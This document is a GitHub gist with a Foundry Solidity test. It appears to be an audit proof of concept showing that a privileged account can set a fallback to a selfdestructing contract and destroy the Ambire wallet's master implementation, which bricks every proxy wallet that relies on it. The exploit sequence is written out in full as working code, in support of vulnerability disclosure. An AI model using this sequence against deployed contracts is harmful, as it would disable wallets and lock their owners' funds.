Skip to content

Instantly share code, notes, and snippets.

@romeroadrian
Created May 26, 2023 17:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save romeroadrian/79248a4fdf436eb3044e87cfffc9d8f7 to your computer and use it in GitHub Desktop.
Save romeroadrian/79248a4fdf436eb3044e87cfffc9d8f7 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/libs/Bytes.sol";
import "../src/libs/SignatureValidator.sol";
import "../src/AmbireAccountFactory.sol";
import "../src/AmbireAccount.sol";
import "openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Proxy.sol";
contract Destroyer {
function destruct() external {
selfdestruct(payable(address(0)));
}
}
contract AccountProxy is ERC1967Proxy {
// Simulate privileges storage
mapping(address => bytes32) public privileges;
constructor(address[] memory addrs, address _logic) ERC1967Proxy(_logic, "") {
uint256 len = addrs.length;
for (uint256 i = 0; i < len; i++) {
// NOTE: privileges[] can be set to any arbitrary value, but for this we SSTORE directly through the proxy creator
privileges[addrs[i]] = bytes32(uint(1));
}
}
}
contract AuditDestructTest is Test {
AmbireAccount implementation;
AmbireAccount wallet;
function setUp() public {
// Master account implementation can be destroyed by any of the configured privileges
address deployer = makeAddr("deployer");
address user = makeAddr("user");
// Lets say deployer creates reference implementation
address[] memory addrsImpl = new address[](1);
addrsImpl[0] = deployer;
implementation = new AmbireAccount(addrsImpl);
// User deploys wallet
address[] memory addrsWallet = new address[](1);
addrsWallet[0] = user;
wallet = AmbireAccount(payable(
new AccountProxy(addrsWallet, address(implementation))
));
// Test the wallet is working ok
assertTrue(wallet.supportsInterface(0x4e2312e0));
// Now privilege sets fallback
Destroyer destroyer = new Destroyer();
AmbireAccount.Transaction[] memory txns = new AmbireAccount.Transaction[](1);
txns[0].to = address(implementation);
txns[0].value = 0;
txns[0].data = abi.encodeWithSelector(
AmbireAccount.setAddrPrivilege.selector,
address(0x6969),
bytes32(uint256(uint160(address(destroyer))))
);
vm.prank(deployer);
implementation.executeBySender(txns);
// and destroys master implementation
Destroyer(address(implementation)).destruct();
}
function test_AmbireAccount_DestroyImplementation() public {
// Assert implementation has been destroyed
assertEq(address(implementation).code.length, 0);
// Now every wallet (proxy) that points to this master implementation will be bricked
wallet.supportsInterface(0x4e2312e0);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment